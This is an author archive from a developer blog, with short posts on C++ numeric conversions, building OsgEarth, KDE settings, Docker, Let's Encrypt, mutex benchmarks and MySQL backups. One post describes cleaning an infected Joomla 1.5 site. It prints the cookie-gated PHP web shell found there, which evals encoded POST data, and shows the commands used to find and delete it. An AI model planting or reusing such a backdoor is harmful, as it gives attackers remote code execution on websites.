Author Archives: dmitriano

Numeric promotions and conversions in C++

In the following C++ code the values of ‘z’ and ‘n’ are undefined, because they are the result of an operation with signed integer arithmetic overflow (‘x’ and ‘y’ are first implicitly converted to signed int). The value of ‘w’ is implementation defined, because it is the result of a conversion:

#include <iostream>
#include <bitset>

int main(int argc, char *argv[])
{
    unsigned short x = 65535, y = x;
    unsigned short z = x * y;
    unsigned int n = x * y;
    std::cerr << "z = " << std::bitset<16>(z) << ", n = " << std::bitset<32>(n) << ", sizeof(int) = " << sizeof(int) << std::endl;

    short w = 0x80000000;
    
    return 0;
}

see Numeric conversions section of Implicit conversions article.

Building OsgEarth on Ubuntu 14.04

I already had QT 5.5.1 with GCC 4.7.3 (and probably some libraries, including libcurl4-gnutls-dev, libgdal-dev, glut, that are installed, but not built) on my machine, so I built OSG with the following commands (I am not sure that it makes a sense to clone recursively, but making with ‘CMAKE_BUILD_TYPE=Debug’ can be better than with ‘debug’ or ‘DEBUG’, because CMAKE does case-sensitive compare. We can build osgEarth 2.8 against OSG 3.4 or osgEarth master branch against OSG 3.4 or newer..):

cd ~
mkdir examples
cd examples
mkdir install
git clone --recursive https://github.com/openscenegraph/OpenSceneGraph.git
git tag
git reset --hard OpenSceneGraph-3.4.0
mkdir -p build/osg
cd build/osg
cmake ../../OpenSceneGraph/ -DCMAKE_BUILD_TYPE=Debug -DCMAKE_INSTALL_PREFIX=/home/dmitry/examples/install
make -j3 install
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/home/dmitry/examples/install/lib64
~/examples/install/bin
./osgversiond

(more…)

How I removed infected PHP files from Joomla 1.5 wesite.

I noticed that there are some suspicious PHP files with the following content on my Joomla 1.5 website:

<?php
if(!empty($_COOKIE['__utma']) and substr($_COOKIE['__utma'],0,16)=='3469825000034634'){
if (!empty($_POST['msg']) and $msg=@gzinflate(@base64_decode(@str_replace(' ','',urldecode($_POST['msg']))))){
  echo '<textarea id=areatext>';
  eval($msg);
  echo '</textarea>bg';
  exit;
}}

I used the following commands to list them and remove them:

find -type f -name "*.php" -printf '%T@ %p\n' | sort -r | awk '{print $2}' | xargs ls -l | less -N
grep --color -r -i -l "3469825000034634" . --include=*.{php,css,html} | xargs ls -l
grep --color -r -i -l "3469825000034634" . --include=*.{php,css,html} | xargs rm

Configuring input languages in KDE

If you need Russian language, for example, in KDE you go to System Settings->Input Devices->Keyboard, press Add button and select it:

KDE switch language

(more…)

How to make Shift+NumPad keys select text and Ctrl+Ins/Shfit+Ins copy/paste in KDE (like as in MS Windows)

I worked a long time with MS Windows before, and when I started to work with KDE, the most annoying thing was that in KDE’s default configuration I was unable to use Shift+NumPad arrows/End/Home to select the text in a text edtor (QT Creator, for example) and copy/paste with Ctrl+Ins/Shift+Ins. This way of copying and pasting is the favorite for me, because Ctrl and Shift are big buttons located at the left side of the keyboard and Ins is one of the biggest right button, so they can be quickly used by both hands. Fortunately there is built-in setting in KDE that enables all my shortcuts:

KDE Settings

Running PHP 5.3/5.6 in a Docker container with Nginx on Ubuntu 16.04

The docker installation procedure depends on the system architecture that can be determined with the following commands:

cat /proc/cpuinfo
dpkg --print-architecture

After I installed Docker, I successfully run its test application:

docker run hello-world
Unable to find image 'hello-world:latest' locally
latest: Pulling from library/hello-world
b04784fba78d: Pull complete
Digest: sha256:f3b3b28a45160805bb16542c9531888519430e9e6d6ffc09d72261b0d26ff74f
Status: Downloaded newer image for hello-world:latest

Hello from Docker!
This message shows that your installation appears to be working correctly.

To generate this message, Docker took the following steps:
1. The Docker client contacted the Docker daemon.
2. The Docker daemon pulled the "hello-world" image from the Docker Hub.
3. The Docker daemon created a new container from that image which runs the
executable that produces the output you are currently reading.
4. The Docker daemon streamed that output to the Docker client, which sent it
to your terminal.

To try something more ambitious, you can run an Ubuntu container with:

docker run -it ubuntu bash

Share images, automate workflows, and more with a free Docker ID:
https://cloud.docker.com/

For more examples and ideas, visit:
https://docs.docker.com/engine/userguide/

(more…)

Using “apitrace” with an OpenGL application

The basic commands for using apitrace with an OpenGL application are:

apitrace trace --api=gl MyApp
qapitrace MyApp.trace
apitrace dump --blobs MyApp.trace 

The last command generates blobs that can be inspected with the following command, for example:

tail -c $((12*10)) ~/repos/MyApp/build/blob_call2325.bin | xxd -g1

Or by writing a simple C++ program that converts them into CVS format:

(more…)

Securing Nginx with Let’s Encrypt on Ubuntu 16.04

First we need to install certbot utility:

apt-get install software-properties-common
add-apt-repository ppa:certbot/certbot
apt-get update
apt-get install python-certbot-nginx

After that, we can easily generate SSL certificates for all the domains listed in Nginx ‘server_name’ attributes in alive (working) virtual hosts. The examples are:

certbot --nginx certonly -d slogpost.ru -d www.slogpost.ru
certbot --nginx certonly -d psiholog-s-vami.ru -d www.psiholog-s-vami.ru
certbot certonly --nginx --cert-name sharlines.com -d sharlines.com -d www.sharlines.com
certbot certonly --nginx --cert-name developernote.com -d developernote.com -d www.developernote.com -d herb.developernote.com -d mastermag.developernote.com -d geographx.developernote.com -d geographx.net -d www.geographx.net -d xn--80acc2atiigge7h.xn--p1ai -d www.xn--80acc2atiigge7h.xn--p1ai -d git.developernote.com -d gitweb.developernote.com

(do not forget to run the commands above each time you add or remove a subdomain)

We cannot use wildcard domains line *.developernote.com with Let’s Encrypt, so we should list all the subdomains. And I do not see anything wrong in combining multiple domains in a single certificate.

To remove the certificate we do something like this:

certbot revoke --cert-path /etc/letsencrypt/live/developernote.com/fullchain.pem
certbot delete --cert-name developernote.com

Updating all the generated certificates:

certbot renew

After changing the website URL from HTTP to HTTPS, probably it makes a sense to update all the hyperlinks in MySQL database:

show tables;
show columns from wp_posts;
SELECT ID, post_title, post_date, post_name FROM wp_posts WHERE INSTR(post_content, 'http://slogpost.ru') <> 0;
UPDATE wp_posts SET post_content=REPLACE(post_content, 'http://slogpost.ru', 'https://slogpost.ru') WHERE INSTR(post_content, 'http://slogpost.ru') <> 0;
UPDATE wp_posts SET post_content=REPLACE(post_content, 'http://developernote.com', 'https://developernote.com') WHERE INSTR(post_content, 'http://developernote.com') <> 0;

The final step is adding certbot-renew.sh file to /etc/cron.monthly with the following content:

certbot renew
service squid reload

It seems like the service … command is completely ignored. Nothing in syslog, nothing in nginx logs. I switched to using

certbot renew
systemctl reload squid

instead, and this seems to work.

Comparison of std::mutex and std::atomic performance

The following C++ code compares the performance of std::atomic and std::mutex:

#include <atomic>
#include <mutex>
#include <iostream>
#include <chrono>
#include <thread>

const size_t size = 100000000;
std::mutex mutex;
bool var = false;

typedef std::chrono::high_resolution_clock Clock;

void testA()
{
    std::atomic<bool> sync(true);
    const auto start_time = Clock::now();
    for (size_t counter = 0; counter < size; counter++)
    {
        var = sync.load();
        //sync.store(true);
        //sync.exchange(true);
    }
    const auto end_time = Clock::now();
    std::cout << 1e-6*std::chrono::duration_cast<std::chrono::microseconds>(end_time - start_time).count() << " s\n";
}

(more…)

Backing up and restoring all the PHP MySQL websites on a Linux server

All the following commands assumes we saved MySQL root password into MROOTPASS variable:

export MROOTPASS=<mysql root password>

The most straight forward method to backup all the MySQL databases and all the website files (PHP scripts, images, etc..) stored in the /home directory is the following:

mysqldump --all-databases -u root -p$MROOTPASS | gzip > all-databases-$(date '+%Y-%m-%d_%H-%M-%S').sql.gz
tar -cvzf home.tar.gz /home

If we backup some individual database (probably not as root) and change its user while restoring it, it might make a sense to remove DEFINER from the output script:

sed -e 's/*]*\*/\*/'

The following commands restore all the websites from the archives:

gunzip -c all-databases-2017-05-23_15-31-00.sql.gz | mysql -u root -p$MROOTPASS
cd /
sudo tar -xvzf home.tar.gz

After migration from MySQL version  14.14 Distrib 5.5.54 to 14.14 Distrib 5.7.18 (I do not know what is the difference between them) I got the following error: “ERROR 1805 (HY000) at line 1: Column count of mysql.user is wrong. Expected 45, found 42. The table is probably corrupted” while trying to drop some user, and fixed it by running:

mysql_upgrade -u root -p$MROOTPASS
service mysql restart